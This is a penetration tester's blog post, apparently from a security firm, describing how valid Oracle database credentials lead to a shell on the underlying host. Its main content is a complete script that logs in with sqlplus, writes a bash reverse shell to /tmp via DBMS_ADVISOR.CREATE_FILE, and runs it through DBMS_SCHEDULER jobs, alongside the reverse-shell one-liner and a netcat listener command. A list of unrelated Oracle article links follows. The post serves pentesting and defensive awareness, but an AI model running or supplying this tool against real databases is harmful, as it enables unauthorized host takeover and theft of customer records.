Oracle Databases, a Penetration Tester’s View of Unauthorized Access to Customer Records

简介: When penetration-testing you get to see lots of seemingly unbelievable security failures, but...
When penetration-testing you get to see lots of seemingly unbelievable security failures, but they’re so common that as penetration testers you’re never really surprised.

We know from our Global Security Report 2012 ( www.trustwave.com/GSR ) that 89% of the
300+ data breaches we investigated last year, the target data was “customer records” - and you might assume that a DBA will always know what it takes to secure an organization’s keys to the kingdom – customer records.

However, we in SpiderLabs are confronted with Oracle databases on internal network penetration tests where default or easily guessable Oracle System ID’s (SIDs) are used, and default or easily guessable database credentials are used. Having access to the Oracle database with one credential usually ends up with total system compromise, including the host, if not locked down sufficiently.

Just to recap the basics of Oracle hacking (not using available exploits), for those who are unfamiliar:
1) Find an Oracle database
2) Find the SID
3) Find username/password
4) Login and enumerate the DB schema
5) Retrieve the data you’re after
6) Go after the OS.

The point of this blog is not to reiterate the basics (points 1-5) which are sprawled elsewhere on the Internet in great detail, but more point 6) going after the OS.

Going back to my scenario… assume we’ve harvested the data from the database, and we still have time left to own the host. In this example, we’ll assume that only the Oracle port is accessible on the target host, but we would like an interactive shell, to further our attack possibilities. So, I wasn’t interested in testing out all the possible exploits available, but more what can you do with a valid login credential to the Oracle database to read/write and gain access to the underlying host.

I was after some PL/SQL code that would create a text file (a bash script) on the target host, change it to an executable (it was UNIX), run it and then see what I could do from there.

Well, my own goal was to get a shell onto the box. Given that only Oracle TCP 1521 was open, we needed a reverse shell. One of the simplest reverse shells out there is a bit of bash hokey pokey:

bash -i >& /dev/tcp/10.1.1.1/12345 0>&1

When run on our target host, this creates a new descriptor which is assigned to a network node. All we have to do is create a TCP listener on our attacking host, the same value as the port assigned above (12345):

nc –l –p 12345

OK, so I knew what I wanted to do in my bash script to write on the Oracle host. What’s the best way to interact with the host operating system, i.e. write a script to the local system and run it?

Oracle has a number of tools that are shipped by default and there are different methods of writing to the operating system. The method I used provided the least grief, and worked first time. Note that the method I’ll show below will work from Oracle 10g or greater.
  • I used the SYS.DBMS_ADVISOR.CREATE_FILE function to create a file dk_shell.sh and write it to /tmp. The file contents contained the bash reverse shell commands 'bash -i >& /dev/tcp/$HOST/$PORT 0>&1’ (where $HOST was the attacking IP I gave to the script, and $PORT was the port listener that I created with netcat
  • I then used the DBMS_SCHEDULER.CREATE_JOB function to create a job called ‘myjob’ which ran the command chmod 755 on /tmp/dk_shell.sh
  • I finally used the DBMS_SCHEDULER again to run my script /tmp/dk_shell.sh
    The code is shown below: 
    #/bin/bash
    USER=$1
    PW=$2
    IP=$3
    SID=$4
    echo "Open a tcp port listener"
    echo "Enter your listening TCP port:"
    read PORT
    echo "Enter your attacking host IP:"
    read HOST
    echo "Go and run your listener e.g. nc -l -p $PORT ....hit any key when ready"
    read
    /pentest/SpiderLabs/oracle/instantclient/sqlplus $USER/$PW@//$IP/$SID<<DKSQL
    CREATE DIRECTORY MYDIR as '/tmp';
    GRANT read,write on DIRECTORY MYDIR to public;
    SET define off;
    DECLARE
    mydata clob;
    mydir varchar2(200);
    myfile varchar2(700);
    BEGIN
    mydata:='bash -i >& /dev/tcp/$HOST/$PORT 0>&1';
    mydir:= 'MYDIR';
    myfile:='dk_shell.sh';
    SYS.DBMS_ADVISOR.CREATE_FILE (mydata, mydir, myfile);
    COMMIT;
    dbms_scheduler.create_job(job_name => 'myjob',
    job_type => 'executable',
    job_action => '/bin/chmod',
    number_of_arguments => 2,
    enabled => FALSE,
    auto_drop => TRUE);
    dbms_scheduler.set_job_argument_value('myjob',1,'755');
    dbms_scheduler.set_job_argument_value('myjob',2,'/tmp/dk_shell.sh');
    dbms_scheduler.enable('myjob');
    dbms_scheduler.create_job(job_name => 'DKSHELL',
    job_type => 'EXECUTABLE',
    job_action => '/bin/bash',
    number_of_arguments => 1,
    start_date => SYSTIMESTAMP,
    enabled => FALSE);
    dbms_scheduler.set_job_argument_value('DKSHELL',1,'/tmp/dk_shell.sh');
    dbms_scheduler.enable('DKSHELL');
    END;
    /
    DKSQL
    exit
Sticking this code in my own script dk_oracle_blog.sh, created a useful tool I could use to gain a shell onto an Oracle box. So, on your attacking host, run the script, give it <USER> <PASSWORD> <Oracle IP> < SID>. It asks for the listener port, set that up with netcat using nc –l –p <Port>.

Dk_oracle2
The window on the left shows the script being run, the window on the right shows a reverse shell obtained on the target system. Using this technique, the possibilities are endless what script you could run on the host operating system. Next steps, get it working for Windows Oracle hosts!

目录
相关文章
|
存储 NoSQL 关系型数据库
实时计算 Flink版操作报错之抽取Oracle11g时,报错: "Retrieve schema history failed, the schema records for engine ... has been removed",怎么处理
在使用实时计算Flink版过程中,可能会遇到各种错误,了解这些错误的原因及解决方法对于高效排错至关重要。针对具体问题,查看Flink的日志是关键,它们通常会提供更详细的错误信息和堆栈跟踪,有助于定位问题。此外,Flink社区文档和官方论坛也是寻求帮助的好去处。以下是一些常见的操作报错及其可能的原因与解决策略。
|
Oracle 关系型数据库 Windows
Oracle Databases Need to be Patched to a Minimum Patchset/PSU/RU level before April 2019 (DOC ID 2361478.1)
In this Document Description   What we are announcing   What action you need to take    What is the change introduced by the patches listed above?  .
2463 0
|
SQL Oracle 关系型数据库
Using OpenLDAP with Microsoft SQL Server and Oracle Backend Databases
http://www.easysoft.com/applications/openldap/back-sql-odbc.
939 0
|
3月前
|
Oracle 关系型数据库 Linux
【赵渝强老师】Oracle数据库配置助手:DBCA
Oracle数据库配置助手(DBCA)是用于创建和配置Oracle数据库的工具,支持图形界面和静默执行模式。本文介绍了使用DBCA在Linux环境下创建数据库的完整步骤,包括选择数据库操作类型、配置存储与网络选项、设置管理密码等,并提供了界面截图与视频讲解,帮助用户快速掌握数据库创建流程。
382 93
|
2月前
|
Oracle 关系型数据库 Linux
【赵渝强老师】使用NetManager创建Oracle数据库的监听器
Oracle NetManager是数据库网络配置工具,用于创建监听器、配置服务命名与网络连接,支持多数据库共享监听,确保客户端与服务器通信顺畅。
218 0
|
5月前
|
存储 Oracle 关系型数据库
服务器数据恢复—光纤存储上oracle数据库数据恢复案例
一台光纤服务器存储上有16块FC硬盘,上层部署了Oracle数据库。服务器存储前面板2个硬盘指示灯显示异常,存储映射到linux操作系统上的卷挂载不上,业务中断。 通过storage manager查看存储状态,发现逻辑卷状态失败。再查看物理磁盘状态,发现其中一块盘报告“警告”,硬盘指示灯显示异常的2块盘报告“失败”。 将当前存储的完整日志状态备份下来,解析备份出来的存储日志并获得了关于逻辑卷结构的部分信息。
|
3月前
|
SQL Oracle 关系型数据库
Oracle数据库创建表空间和索引的SQL语法示例
以上SQL语法提供了一种标准方式去组织Oracle数据库内部结构,并且通过合理使用可以显著改善查询速度及整体性能。需要注意,在实际应用过程当中应该根据具体业务需求、系统资源状况以及预期目标去合理规划并调整参数设置以达到最佳效果。
330 8
|
5月前
|
SQL Oracle 关系型数据库
比较MySQL和Oracle数据库系统,特别是在进行分页查询的方法上的不同
两者的性能差异将取决于数据量大小、索引优化、查询设计以及具体版本的数据库服务器。考虑硬件资源、数据库设计和具体需求对于实现优化的分页查询至关重要。开发者和数据库管理员需要根据自身使用的具体数据库系统版本和环境,选择最合适的分页机制,并进行必要的性能调优来满足应用需求。
287 11
|
5月前
|
Oracle 关系型数据库 数据库
数据库数据恢复—服务器异常断电导致Oracle数据库报错的数据恢复案例
Oracle数据库故障: 某公司一台服务器上部署Oracle数据库。服务器意外断电导致数据库报错,报错内容为“system01.dbf需要更多的恢复来保持一致性”。该Oracle数据库没有备份,仅有一些断断续续的归档日志。 Oracle数据库恢复流程: 1、检测数据库故障情况; 2、尝试挂起并修复数据库; 3、解析数据库文件; 4、导出并验证恢复的数据库文件。

热门文章

最新文章

推荐镜像

更多